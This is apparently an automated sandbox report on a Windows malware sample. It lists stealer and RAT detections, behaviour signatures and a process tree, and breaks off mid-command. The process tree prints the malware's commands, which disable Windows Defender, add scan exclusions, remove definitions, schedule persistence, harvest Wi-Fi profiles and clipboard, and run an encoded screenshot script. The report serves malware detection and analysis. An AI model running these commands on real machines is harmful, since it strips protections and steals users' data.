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Windows
Analysis Report
iqA8j9yGcd.exe
Overview
General Information
Sample name: | iqA8j9yGcd.exerenamed because original name is a hash value |
Original sample name: | 06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe |
Analysis ID: | 1503002 |
MD5: | 7ea99740a913fd01ab5b6d630a65f501 |
SHA1: | fe11a17c1a403d6df28508d576c76ece07cce88b |
SHA256: | 06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314 |
Tags: | exe |
Infos: | |
Detection
HackBrowser, DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected unpacking (creates a PE file in dynamic memory)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Sigma detected: Stop multiple services
Suricata IDS alerts for network traffic
Yara detected Amnesia Stealer
Yara detected DCRat
Yara detected Discord Token Stealer
Yara detected Millenuim RAT
Yara detected PureLog Stealer
Yara detected Telegram RAT
Yara detected Telegram Recon
Yara detected zgRAT
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Creates an autostart registry key pointing to binary in C:\Windows
Creates an undocumented autostart registry key
Creates multiple autostart registry keys
Creates processes via WMI
Drops PE files with benign system names
Drops executables to the windows directory (C:\Windows) and starts them
Encrypted powershell cmdline option found
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found many strings related to Crypto-Wallets (likely being stolen)
Found pyInstaller with non standard icon
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Infects executable files (exe, dll, sys, html)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Removes signatures from Windows Defender
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: System File Execution Location Anomaly
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Binaries Write Suspicious Extensions
Stops critical windows services
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses netsh to modify the Windows network and firewall settings
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Classification
- System is w10x64
- iqA8j9yGcd.exe (PID: 7308 cmdline:
"C:\Users\ user\Deskt op\iqA8j9y Gcd.exe" MD5: 7EA99740A913FD01AB5B6D630A65F501) - iqA8j9yGcd.exe (PID: 7364 cmdline:
"C:\Users\ user\Deskt op\iqA8j9y Gcd.exe" MD5: 7EA99740A913FD01AB5B6D630A65F501) - cmd.exe (PID: 7388 cmdline:
C:\Windows \system32\ cmd.exe /c start C:\ Users\user \AppData\L ocal\Temp\ _MEI73082\ Build.exe -pbeznogym MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7396 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Build.exe (PID: 7440 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\_MEI730 82\Build.e xe -pbezno gym MD5: 6123E1B1546C5468EDD1C8AA70F14A12) - hacn.exe (PID: 7500 cmdline:
"C:\Progra mData\Micr osoft\hacn .exe" MD5: 2F20A53D05D89D72A94192A6B8098B77) - hacn.exe (PID: 7564 cmdline:
"C:\Progra mData\Micr osoft\hacn .exe" MD5: 2F20A53D05D89D72A94192A6B8098B77) - cmd.exe (PID: 7588 cmdline:
C:\Windows \system32\ cmd.exe /c start C:\ Users\user \AppData\L ocal\Temp\ _MEI75002\ s.exe -pbe znogym MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7596 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - s.exe (PID: 7636 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\_MEI750 02\s.exe - pbeznogym MD5: F651062559F616AC562C15B565CBC13F) - svchost.exe (PID: 7696 cmdline:
"C:\Progra mData\svch ost.exe" MD5: 45C59202DCE8ED255B4DBD8BA74C630F) - wscript.exe (PID: 7744 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\ms AgentSaves monitor\pF G3Duil1NAb FHoInFFIi7 JfPHXMZXRv b98S0ewJA0 VkW.vbe" MD5: FF00E0480075B095948000BDC66E81F0) - cmd.exe (PID: 4332 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\msAg entSavesmo nitor\oGgy ulsi03j6EO 3sjCC.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4428 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ChainComServermonitor.exe (PID: 7412 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\msAgen tSavesmoni tor/ChainC omServermo nitor.exe" MD5: 5FE249BBCC644C6F155D86E8B3CC1E12) - WmiPrvSE.exe (PID: 7788 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - schtasks.exe (PID: 3596 cmdline:
schtasks.e xe /create /tn "cmdc " /sc MINU TE /mo 14 /tr "'C:\W indows\Log s\SettingS ync\cmd.ex e'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 2684 cmdline:
schtasks.e xe /create /tn "cmd" /sc ONLOG ON /tr "'C :\Windows\ Logs\Setti ngSync\cmd .exe'" /rl HIGHEST / f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 2448 cmdline:
schtasks.e xe /create /tn "cmdc " /sc MINU TE /mo 8 / tr "'C:\Wi ndows\Logs \SettingSy nc\cmd.exe '" /rl HIG HEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - csc.exe (PID: 7504 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\ut1ljh 4b\ut1ljh4 b.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - conhost.exe (PID: 7032 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Conhost.exe (PID: 8160 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Conhost.exe (PID: 1972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cvtres.exe (PID: 8316 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESB2CE.tm p" "c:\Pro gram Files (x86)\Mic rosoft\Edg e\Applicat ion\CSCD2D F9DC1BB554 A3A91A2FCA EEB39352E. TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - csc.exe (PID: 8760 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\ntoifw it\ntoifwi t.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - conhost.exe (PID: 8776 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cvtres.exe (PID: 8928 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESBDBB.tm p" "c:\Win dows\Syste m32\CSC8CD C9FB2323C4 007AF66CC1 7D2144E5.T MP" MD5: C877CBB966EA5939AA2A17B6A5160950) - main.exe (PID: 7716 cmdline:
"C:\Progra mData\main .exe" MD5: 3D3C49DD5D13A242B436E0A065CD6837) - setup.exe (PID: 7804 cmdline:
"C:\Progra mData\setu p.exe" MD5: 1274CBCD6329098F79A3BE6D76AB8B97) - based.exe (PID: 7516 cmdline:
"C:\Progra mData\Micr osoft\base d.exe" MD5: 6FA985B82082F957E08C24749C36D88B) - based.exe (PID: 7556 cmdline:
"C:\Progra mData\Micr osoft\base d.exe" MD5: 6FA985B82082F957E08C24749C36D88B) - cmd.exe (PID: 7752 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Pr ogramData\ Microsoft\ based.exe' " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7884 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\Prog ramData\Mi crosoft\ba sed.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7764 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Set-MpP reference -DisableIn trusionPre ventionSys tem $true -DisableIO AVProtecti on $true - DisableRea ltimeMonit oring $tru e -Disable ScriptScan ning $true -EnableCo ntrolledFo lderAccess Disabled -EnableNet workProtec tion Audit Mode -Forc e -MAPSRep orting Dis abled -Sub mitSamples Consent Ne verSend && powershel l Set-MpPr eference - SubmitSamp lesConsent 2 & "%Pro gramFiles% \Windows D efender\Mp CmdRun.exe " -RemoveD efinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7792 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7892 cmdline:
powershell Set-MpPre ference -D isableIntr usionPreve ntionSyste m $true -D isableIOAV Protection $true -Di sableRealt imeMonitor ing $true -DisableSc riptScanni ng $true - EnableCont rolledFold erAccess D isabled -E nableNetwo rkProtecti on AuditMo de -Force -MAPSRepor ting Disab led -Submi tSamplesCo nsent Neve rSend MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 8156 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6332 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 3856 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 5272 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4696 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 5656 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7344 cmdline:
C:\Windows \system32\ cmd.exe /c "WMIC /No de:localho st /Namesp ace:\\root \SecurityC enter2 Pat h Antiviru sProduct G et display Name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7616 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7648 cmdline:
WMIC /Node :localhost /Namespac e:\\root\S ecurityCen ter2 Path AntivirusP roduct Get displayNa me MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 7332 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Get-Cli pboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7512 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7652 cmdline:
powershell Get-Clipb oard MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7628 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7608 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7664 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 3116 cmdline:
C:\Windows \system32\ cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tree.com (PID: 8252 cmdline:
tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0) - cmd.exe (PID: 7620 cmdline:
C:\Windows \system32\ cmd.exe /c "netsh wl an show pr ofile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8276 cmdline:
netsh wlan show prof ile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB) - cmd.exe (PID: 2128 cmdline:
C:\Windows \system32\ cmd.exe /c "systemin fo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5796 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 8260 cmdline:
systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 5968 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll.exe -No Profile -E xecutionPo licy Bypas s -Encoded Command JA BzAG8AdQBy AGMAZQAgAD 0AIABAACIA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtADsA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtAC4A QwBvAGwAbA BlAGMAdABp AG8AbgBzAC 4ARwBlAG4A ZQByAGkAYw A7AA0ACgB1 AHMAaQBuAG cAIABTAHkA cwB0AGUAbQ AuAEQAcgBh AHcAaQBuAG cAOwANAAoA dQBzAGkAbg BnACAAUwB5 AHMAdABlAG 0ALgBXAGkA bgBkAG8Adw BzAC4ARgBv AHIAbQBzAD sADQAKAA0A CgBwAHUAYg BsAGkAYwAg AGMAbABhAH MAcwAgAFMA YwByAGUAZQ BuAHMAaABv AHQADQAKAH sADQAKACAA IAAgACAAcA B1AGIAbABp AGMAIABzAH QAYQB0AGkA YwAgAEwAaQ BzAHQAPABC AGkAdABtAG EAcAA+ACAA QwBhAHAAdA B1AHIAZQBT AGMAcgBlAG UAbgBzACgA KQANAAoAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAdg BhAHIAIABy AGUAcwB1AG wAdABzACAA PQAgAG4AZQ B3ACAATABp AHMAdAA8AE IAaQB0AG0A YQBwAD4AKA ApADsADQAK ACAAIAAgAC AAIAAgACAA IAB2AGEAcg AgAGEAbABs AFMAYwByAG UAZQBuAHMA IAA9ACAAUw BjAHIAZQBl AG4ALgBBAG wAbABTAGMA cgBlAGUAbg BzADsADQAK AA0ACgAgAC AAIAAgACAA IAAgACAAZg BvAHIAZQBh AGMAaAAgAC gAUwBjAHIA ZQBlAG4AIA BzAGMAcgBl AGUAbgAgAG kAbgAgAGEA bABsAFMAYw ByAGUAZQBu AHMAKQANAA oAIAAgACAA IAAgACAAIA AgAHsADQAK ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgAHQAcgB5 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAF IAZQBjAHQA YQBuAGcAbA BlACAAYgBv AHUAbgBkAH MAIAA9ACAA cwBjAHIAZQ BlAG4ALgBC AG8AdQBuAG QAcwA7AA0A CgAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHUAcw BpAG4AZwAg ACgAQgBpAH QAbQBhAHAA IABiAGkAdA BtAGEAcAAg AD0AIABuAG UAdwAgAEIA aQB0AG0AYQ BwACgAYgBv AHUAbgBkAH MALgBXAGkA ZAB0AGgALA AgAGIAbwB1 AG4AZABzAC 4ASABlAGkA ZwBoAHQAKQ ApAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg AHsADQAKAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAB1AHMAaQ BuAGcAIAAo AEcAcgBhAH AAaABpAGMA cwAgAGcAcg BhAHAAaABp AGMAcwAgAD 0AIABHAHIA YQBwAGgAaQ BjAHMALgBG AHIAbwBtAE kAbQBhAGcA ZQAoAGIAaQ B0AG0AYQBw ACkAKQANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgAGcA cgBhAHAAaA BpAGMAcwAu AEMAbwBwAH kARgByAG8A bQBTAGMAcg BlAGUAbgAo AG4AZQB3AC AAUABvAGkA bgB0ACgAYg BvAHUAbgBk AHMALgBMAG UAZgB0ACwA IABiAG8AdQ BuAGQAcwAu AFQAbwBwAC kALAAgAFAA bwBpAG4AdA AuAEUAbQBw AHQAeQAsAC AAYgBvAHUA bgBkAHMALg BTAGkAegBl ACkAOwANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAH0ADQ AKAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAcgBlAHMA dQBsAHQAcw AuAEEAZABk ACgAKABCAG kAdABtAGEA cAApAGIAaQ B0AG0AYQBw AC4AQwBsAG 8AbgBlACgA KQApADsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA